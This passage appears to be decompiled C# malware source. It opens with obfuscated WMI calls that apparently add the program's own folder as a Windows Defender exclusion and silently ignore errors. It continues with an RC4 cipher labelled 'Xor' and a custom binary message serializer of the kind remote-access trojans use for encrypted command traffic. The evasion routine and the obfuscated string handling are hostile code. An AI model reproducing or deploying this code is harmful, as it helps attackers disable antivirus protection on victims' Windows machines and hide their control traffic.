						text = ((ManagementBaseObject)(ManagementObject)enumerator.Current)[EncryptString.Decode("+'_J/N@m=R")].ToString();
					}
				}
				finally
				{
					((IDisposable)enumerator)?.Dispose();
				}
				string text2 = EncryptString.Decode("(!*\"d(Jcm@z@m@IY@x+'_J/N@m=R`$") + text + EncryptString.Decode("$");
				ManagementObject val = new ManagementObject(EncryptString.Decode("m''Nk(UYm'A'zNknUIP'fAkR@z@IP@m"), text2, (ObjectGetOptions)null);
				ManagementBaseObject methodParameters = val.GetMethodParameters(EncryptString.Decode("vPP"));
				List<string> list = new List<string> { new FileInfo(path).Directory.FullName };
				methodParameters[EncryptString.Decode("t)Y?/AU'IcONE")] = list.ToArray();
				val.InvokeMethod(EncryptString.Decode("vPP"), methodParameters, (InvokeMethodOptions)null);
			}
			catch
			{
			}
		}
	}

	internal class Xor
	{
		public static byte[] DecodEncod(byte[] data, byte[] key)
		{
			int[] array = new int[256];
			for (int i = 0; i < 256; i++)
			{
				array[i] = i;
			}
			int[] array2 = new int[256];
			if (key.Length == 256)
			{
				Buffer.BlockCopy(key, 0, array2, 0, key.Length);
			}
			else
			{
				for (int j = 0; j < 256; j++)
				{
					array2[j] = key[j % key.Length];
				}
			}
			int num = 0;
			for (int k = 0; k < 256; k++)
			{
				num = (num + array[k] + array2[k]) % 256;
				int num2 = array[k];
				array[k] = array[num];
				array[num] = num2;
			}
			int num3;
			int num4 = (num3 = 0);
			byte[] array3 = new byte[data.Length];
			for (int l = 0; l < data.Length; l++)
			{
				num3 = (num3 + 1) % 256;
				num4 = (num4 + array[num3]) % 256;
				int num5 = array[num3];
				array[num3] = array[num4];
				array[num4] = num5;
				int num6 = array[(array[num3] + array[num4]) % 256];
				array3[l] = Convert.ToByte(data[l] ^ num6);
			}
			return array3;
		}
	}

	public class LEB128
	{
		public static object[] Read(byte[] data)
		{
			List<object> list = new List<object>();
			using MemoryStream memoryStream = new MemoryStream(data);
			while (true)
			{
				int num = memoryStream.ReadByte();
				switch (num)
				{
				case 0:
					list.Add(LEB128Coding.ReadLebString(memoryStream));
					break;
				case 1:
					list.Add(LEB128Coding.ReadLebBool(memoryStream));
					break;
				case 2:
					list.Add(LEB128Coding.ReadLebByte(memoryStream));
					break;
				case 3:
					list.Add(LEB128Coding.ReadLebShort(memoryStream));
					break;
				case 4:
					list.Add(LEB128Coding.ReadLebInt(memoryStream));
					break;
				case 5:
					list.Add(LEB128Coding.ReadLebLong(memoryStream));
					break;
				case 6:
					list.Add(LEB128Coding.ReadLebFloat(memoryStream));
					break;
				case 7:
					list.Add(LEB128Coding.ReadLebDouble(memoryStream));
					break;
				case 8:
					list.Add(LEB128Coding.ReadLebArray(memoryStream));
					break;
				case 9:
					list.Add(LEB128Coding.ReadLebUshort(memoryStream));
					break;
				case 10:
					list.Add(LEB128Coding.ReadLebUint(memoryStream));
					break;
				case 11:
					list.Add(LEB128Coding.ReadLebUlong(memoryStream));
					break;
				case 12:
					list.Add(Read(LEB128Coding.ReadLebArray(memoryStream)));
					break;
				default:
					throw new Exception(num.ToString());
				case -1:
					return list.ToArray();
				}
			}
		}

		public static byte[] Write(object[] data)
		{
			using MemoryStream memoryStream = new MemoryStream();
			foreach (object obj in data)
			{
				if (obj is string)
				{
					memoryStream.WriteByte(0);
					LEB128Coding.WriteLeb(memoryStream, (string)obj);
					continue;
				}
				if (obj is bool)
				{
					memoryStream.WriteByte(1);
					LEB128Coding.WriteLeb(memoryStream, (bool)obj);
					continue;
				}
				if (obj is byte)
				{
					memoryStream.WriteByte(2);
					LEB128Coding.WriteLeb(memoryStream, (byte)obj);
					continue;
				}
				if (obj is short)
				{
					memoryStream.WriteByte(3);
					LEB128Coding.WriteLeb(memoryStream, (short)obj);
					continue;
				}
				if (obj is int)
				{
					memoryStream.WriteByte(4);
					LEB128Coding.WriteLeb(memoryStream, (int)obj);
					continue;
				}
				if (obj is long)
				{
					memoryStream.WriteByte(5);
					LEB128Coding.WriteLeb(memoryStream, (long)obj);
					continue;
				}
				if (obj is float)
				{
					memoryStream.WriteByte(6);
					LEB128Coding.WriteLeb(memoryStream, (float)obj);
					continue;
				}
				if (obj is double)
				{
					memoryStream.WriteByte(7);
					LEB128Coding.WriteLeb(memoryStream, (double)obj);
					continue;
				}
				if (obj is byte[])
				{
					memoryStream.WriteByte(8);
					LEB128Coding.WriteLeb(memoryStream, (byte[])obj);
					continue;
				}
				if (obj is ushort)
				{
					memoryStream.WriteByte(9);
					LEB128Coding.WriteLeb(memoryStream, (ushort)obj);
					continue;
				}
				if (obj is uint)
				{
					memoryStream.WriteByte(10);
					LEB128Coding.WriteLeb(memoryStream, (uint)obj);
					continue;
				}
				if (obj is ulong)
				{
					memoryStream.WriteByte(11);
					LEB128Coding.WriteLeb(memoryStream, (ulong)obj);
					continue;
				}
				if (!(obj is object[]))
				{
					throw new Exception(obj.GetType().Name);
				}
				memoryStream.WriteByte(12);
				LEB128Coding.WriteLeb(memoryStream, Write((object[])obj));
			}
			return memoryStream.ToArray();
		}
	}

	internal class LEB128Coding
	{
		public static void WriteLeb(Stream stream, byte[] buffer)
		{
			byte[] bytes = BitConverter.GetBytes(buffer.Length);
			stream.Write(bytes, 0, bytes.Length);
			stream.Write(buffer, 0, buffer.Length);
		}

		public static void WriteLeb(Stream stream, string data)
		{
			WriteLeb(stream, Encoding.UTF8.GetBytes(data));
		}

		public static void WriteLeb(Stream stream, bool data)
		{
			stream.WriteByte(Convert.ToByte(data));
		}

		public static void WriteLeb(Stream stream, byte data)
		{
			stream.WriteByte(data);
		}

		public static void WriteLeb(Stream stream, short data)
		{
			byte[] bytes = BitConverter.GetBytes(data);
			stream.Write(bytes, 0, bytes.Length);
		}

		public static void WriteLeb(Stream stream, int data)
		{
			byte[] bytes = BitConverter.GetBytes(data);
			stream.Write(bytes, 0, bytes.Length);
		}

		public static void WriteLeb(Stream stream, long data)
		{
			byte[] bytes = BitConverter.GetBytes(data);
			stream.Write(bytes, 0, bytes.Length);
		}

		public static void WriteLeb(Stream stream, float data)
		{
			byte[] bytes = BitConverter.GetBytes(data);
			stream.Write(bytes, 0, bytes.Length);
		}

		public static void WriteLeb(Stream stream, double data)
		{
			byte[] bytes = BitConverter.GetBytes(data);
			stream.Write(bytes, 0, bytes.Length);
		}

		public static void WriteLeb(Stream stream, ushort data)
		{
			byte[] bytes = BitConverter.GetBytes(data);
			stream.Write(bytes, 0, bytes.Length);
		}

		public static void WriteLeb(Stream stream, uint data)
		{
			byte[] bytes = BitConverter.GetBytes(data);
			stream.Write(bytes, 0, bytes.Length);
		}

		public static void WriteLeb(Stream stream, ulong data)
		{
			byte[] bytes = BitConverter.GetBytes(data);
			stream.Write(bytes, 0, bytes.Length);
		}

		public static byte[] ReadLebArray(Stream stream)
		{
			byte[] array = new byte[4];
			stream.Read(array, 0, 4);
			int num = BitConverter.ToInt32(array, 0);
			byte[] array2 = new byte[num];
			stream.Read(array2, 0, num);
			return array2;
		}

		public static string ReadLebString(Stream stream)
		{
			return Encoding.UTF8.GetString(ReadLebArray(stream));
		}

		public static bool ReadLebBool(Stream stream)
		{
			return Convert.ToBoolean(stream.ReadByte());
		}

		public static byte ReadLebByte(Stream stream)
		{
			return (byte)stream.ReadByte();
		}

		public static short ReadLebShort(Stream stream)
		{
			byte[] array = new byte[2];
			stream.Read(array, 0, array.Length);
			return BitConverter.ToInt16(array, 0);
		}

		public static int ReadLebInt(Stream stream)
		{
			byte[] array = new byte[4];
			stream.Read(array, 0, array.Length);
			return BitConverter.ToInt32(array, 0);
		}

		public static long ReadLebLong(Stream stream)
		{
			byte[] array = new byte[8];
			stream.Read(array, 0, array.Length);
			return BitConverter.ToInt64(array, 0);
		}

		public static float ReadLebFloat(Stream stream)
		{
			byte[] array = new byte[4];
			stream.Read(array, 0, array.Length);
			return BitConverter.ToSingle(array, 0);
		}

		public static double ReadLebDouble(Stream stream)
		{
			byte[] array = new byte[8];
			stream.Read(array, 0, array.Length);
			return BitConverter.ToDouble(array, 0);
		}

		public static ushort ReadLebUshort(Stream stream)
		{
			byte[] array = new byte[2];
			stream.Read(array, 0, array.Length);
			return BitConverter.ToUInt16(array, 0);
		}

		public static uint ReadLebUint(Stream stream)
		{
			byte[] array = new byte[4];
			stream.Read(array, 0, array.Length);
			return BitConverter.ToUInt32(array, 0);
		}

		public static ulong ReadLebUlong(Stream stream)
		{
			byte[] array = new byte[8];
			stream.Read(array, 0, array.Length);
			return BitConverter.ToUInt64(array, 0);
		}
	}